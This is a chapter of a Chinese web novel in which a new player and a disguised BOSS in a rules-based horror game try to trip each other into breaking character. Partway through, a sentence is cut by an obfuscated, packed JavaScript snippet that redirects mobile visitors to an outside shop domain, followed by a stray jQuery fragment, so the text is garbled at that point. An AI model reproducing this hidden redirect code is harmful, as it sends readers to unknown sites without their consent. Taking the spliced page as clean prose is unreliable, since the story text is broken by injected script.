文趣网 > 都市小说 > 无限流:千人戏 旧人劫 > 8. 谐音梗
    沈妄渊看诡异都这么敬业,他沈妄渊也不能掉链子啊,这边也得刚刚跟上节奏他这个社恐又没安全感的设定,刚才那波质问已经有点过火了,再冷着脸怕是真要崩人设。

    沉妄渊片刻,他终于开口:“为什么迟到?我要听实话。”

    江亦澈这诡异嘴上道歉求和一套一套的,偏就迟到原因绝口不提,现在这身份问一句不过分吧?

    话里几分真假不重要,重要的是能试探出这诡异的人设底线在哪。

    江亦澈终于抬起头,看向沈妄渊,给出了答案:

    “路上遇到一只流浪猫,送它去宠物医院了。”

    沈妄渊:“??。”

    那猫是会报恩还是咋的?

    他没急着怼回去,只是继续追问:“哪家医院?花了多少钱?医生说什么了吗?你身上还有收据吗?”

    江亦澈眉头微微一皱,这人有病吧,随口扯的谎,他哪知道什么医院。

    这已经是胡搅蛮缠了,偏偏规则没有抹杀沈妄渊,江亦澈只得硬着头皮演下去。

    “我不知道。”

    沈妄渊“哦”了一声,语气稀松平常。

    “懂了,你宁愿让我在这儿干等着、内心煎熬毫无安全感,也要去送一只流浪猫去医院,那猫是你养的吗?你认识它?它叫什么名字?公的母的?绝育了没有,还是谁给你的怎么珍惜?”

    江亦澈嘴角一抽:“我不……”话刚出口两个字,他就觉出不对,突如其来的一股规则力量猛地反噬入体,像被无形的手狠狠攥了一把。

    等等!

    规则反噬的不应该是胡搅蛮缠的沈妄渊吗?!为什么反噬的是他?!

    江亦澈那张永远体贴温驯的脸上,第一次出现了裂痕,他睁大眼睛盯着沈妄渊,黑瞳里翻涌着难以置信,为什么规则不抹杀沈妄渊,反而来反噬他?!

    疼痛开始了。

    沈妄渊刚才胸口挨的那一下,此刻以双倍力道还给江亦澈,左胸膛像被火炭烫过,疼得他整个人一僵。

    那种疼,没挨过的人根本不懂。

    江亦澈垂在身侧的手指蜷了蜷,不受控制地颤抖起来。

    泪水毫无预兆地涌上来,瞬间填满泛红的眼眶,将那双黑眸浸得水光潋滟。

    他咬着牙,却还是忍不住想问——到底是为什么啊?

    沈妄渊看着眼前这人突然蓄满泪水的眼眶,一脸莫名其妙。

    “怎么,我说那猫你还心疼了?”

    “!!!”

    江亦澈瞳孔骤缩,连反驳都来不及出口,规则之力便再次席卷而来,巨力狠狠攥住右胸口,猝不及防,痛意炸裂。

    痛!

    真他妈痛!!!

    像被十只毒蜂同时狂蛰,又像是被人生生拧下一块肉来,原本还算宽松的针织衫此刻紧紧贴着迅速肿胀的胸膛,每呼吸一下都是酷刑。

    这一下,强如BOSS的江亦澈都差点跪了。

    泪水不受控制地滚落,滑过脸颊,砸在地上,他死死盯着沈妄渊,指甲深深嵌进掌心,

    眼泪,顺着脸颊无声滑落。

    他咬着牙,抬眸死死盯着沈妄渊,眼眶泛红,眼尾染着水色,明明是在瞪人,却透出一股让人心软的破碎感。

    江亦澈嘴唇抖了又抖,愣是说不出一句完整的话。

    他错了。

    真的错了。

    沈妄渊现在才明白沈妄渊没有崩人设,崩人设的是他自己,一个恋爱脑晚期,怎么可能为了只不认识的猫,把第一次约会晾在一边?

    这本身就是在OOC的边缘疯狂试探!

    但凡沈妄渊当时来一句“你撒谎”,被规则按在地上摩擦的就是沈妄渊。

    可沈妄渊呢?他不走寻常路,不质问真假,反倒揪着那只猫刨根问底:叫什么?长什么样?送哪家医院?

    江亦澈一问三不知。

    于是,谎言的苦果,全让他一个人咽下去了。

    反噬的痛江亦澈能扛,也能忍。

    但——两次!整整两次!这他妈是捏泡沫还是揪豆子啊?!

    江亦澈咬紧牙关隐忍到极致,泪水却不受控制地大滴大滴滚落,无声无息。

    沈妄渊眉头蹙得更深了,嘴皮子一动,眼看第三句话就要蹦出来。

    江亦澈心跳从未如此快过,他几乎来不及思考,弓腰死死抱住沈妄渊。

    这个动作让衣料摩擦过肿胀的胸口,江亦澈疼得呼吸骤然加重,喘息滚烫。

    “妄渊,是我的错,都是我的错。”江亦澈把脸埋在沈妄渊肩头,声音又哑又急,“我的错,宝宝你别说了……”

    嘴上说着道歉,身体紧紧拥抱,看起来像是委屈求和。

    可江亦澈落在沈妄渊后颈的手,却悄然收紧,力道越来越重,那是要命的禁锢。

    在这里BOSS杀玩家,有三次免疫规则的机会。

    沈妄渊被掐得直翻白眼,呼吸困难,却也没闲着,他挣扎着腾出手,狠狠一肘捣在江亦澈胸口。

    伤上加伤。

    两人都想趁着这个拥抱,都弄死对方。

    江亦澈闷哼一声,手上力道卸去,手臂无力垂落,沈妄渊终于得以喘息,大口大口吸着气,嘴皮子刚缓过来就开始嘚嘚:

    “你哭这么委屈,是被我说中心事了?那猫才是你的真爱吧。”

    第三下。

    规则之力左右开弓,同时发力。

    江亦澈闷哼一声,双膝发软,险些跪倒,痛意从胸前炸开,直冲天灵盖,整个人像被雷劈了一样。

    沈妄渊揉着脖子,后颈的青紫触目惊心,他咬牙切齿:“为了只破猫你就要弄死我?江亦澈你行啊!”

    第四下。

    江亦澈觉得胸前那两点已经不是自己的了,像是被十只马蜂轮流叮,又像是被人用指甲盖反复弹,又疼又麻又辣。

    他“扑通”一声跪在地上,眼泪哗哗往下淌。

    “我撒谎,我错了,对不起!”江亦澈含泪抢答,声音又急又响,“猫是假的!我没扶猫!我迟到就是因为睡过头了!”

    一口气说完,他大口喘着气,江亦澈“扑通”一声双膝跪地,泪流满面,狼狈至极,

    泪眼水汪汪望着沈妄渊,满脸写着:祖宗,别问了,求你了。

    “我撒谎!”他猛地拔高音量,语速快得像机关枪,生怕沈妄渊再蹦出半个字,“猫是我编的!扶猫是假的!送猫去医院也是假的!!”

    “没有猫!我编的!”江亦澈跪在地上,眼泪哗哗的,彻底放弃挣扎,“我去花店给你买花,花店关门了!我怕你生气才撒谎说是为了救猫!”

    沈妄渊揉着脖子,嘴比脑子快:“哪家花店,你带我去——”话说一半没说完,他猛地闭嘴。

    完蛋。

    社恐不会主动去人多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834039|211368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的地方,他刚才差点把自己卖了。

    可江亦澈已经像嗅到血腥味的狼,泪眼朦胧中眼睛亮得惊人,语速飞快地追问:

    “带你去哪?你刚才说带你去哪?”

    沈妄渊一时卡壳,愣在原地。

    江亦澈抬手抹掉眼泪,学着沈妄渊刚才咄咄逼人的样子,一步步逼近:“你不回答,是因为不爱我吗?”

    沈妄渊皱眉。

    “没关系。”江亦澈吸了吸鼻子,眼眶还红着,声音却稳得很,“就算你不爱我,我也爱你。”

    沈妄渊嘴角一抽。

    “可你呢?”江亦澈继续逼近,“为了不知道什么人,为了一只破猫,你居然造谣我和那只猫有私情?还说我为了猫鸽了第一次约会?”

    沈妄渊:???

    “没关系。”江亦澈泪眼迷蒙,声音却温柔得可怕,“就算你这样对我,我也——”

    他顿了顿,一字一顿:

    “爱。”

    “你。”

    前半句踩着恋爱脑的规则边缘试探,后半句又轻轻松松圆了回来。

    规则无法锁定江亦澈。

    现在,轮到被逼问的沈妄渊了。

    江亦澈眼眶里还含着泪,眼睛却亮得出奇,沈妄渊清楚那不是爱,是纯纯要搞死对方的决心。

    “沈妄渊,说吧,想让我带你去哪儿?”

    沈妄渊抿了抿唇,声音低低的:“你……代我去花店买一束玫瑰。”

    江亦澈眼睛“唰”地亮了。

    社恐主动要求出门?这不是OOC是什么?!

    他兴奋地一把抓住沈妄渊手腕,整个人都支棱起来:

    “走走走,我带你亲自去挑——”

    “噗——!”

    话没落地,江亦澈猛地喷出一口血,胸口像是被人狠狠捣了一拳,本来就饱受葱磨的,又受到惨痛攻击。

    他僵硬地转过头,眼眶泛红,眼球布满血丝,满脸写着:怎么回事?!

    沈妄渊无辜地眨眨眼,语气乖巧极了:“我说的是‘代我去’,不是‘带我去’。你激动什么?”

    江亦澈:“……”

    代?带?我嘞个豆,谐音梗???

    他居然被一个新玩家用谐音梗连坑五次,江亦澈觉得自己的BOSS尊严已经被按在地上反复摩擦了。

    江亦澈指尖抵住锁骨,锋利的寒光即将刺破皮囊,啊啊啊,他要释放本体。

    规则算什么?他现在就要沈妄渊死!一定要死!

    忽然,一阵微风吹过。

    江亦澈从地上缓缓爬起来,胸口恢复如常,刚才的狼狈消失得干干净净。

    他脸上又浮起那副人畜无害的笑容,注视着沈妄渊,声音温和得能掐出水:“气消了吧?我们和好吧,不要生气了。”仿佛刚才那个满脸杀意、眼球布满血丝的人,从未存在过。

    江亦澈伸出手,掌心摊开,像是示好,又像是投降。

    “迟到的事我保证以后不会再有。”他声音温驯,带着十二分的诚恳,“如果你还不开心,我愿意接受惩罚。”

    沈妄渊没有接话,只是鼻尖微微动了动。

    空气中飘来一丝若有若无特殊的清香,不浓烈,淡淡的、清雅的香气,但更清淡新鲜,像是枇杷,又像是杏,若有若无,难以辨别。

    这香气来得有些突兀,和方才剑拔弩张的气氛格格不入。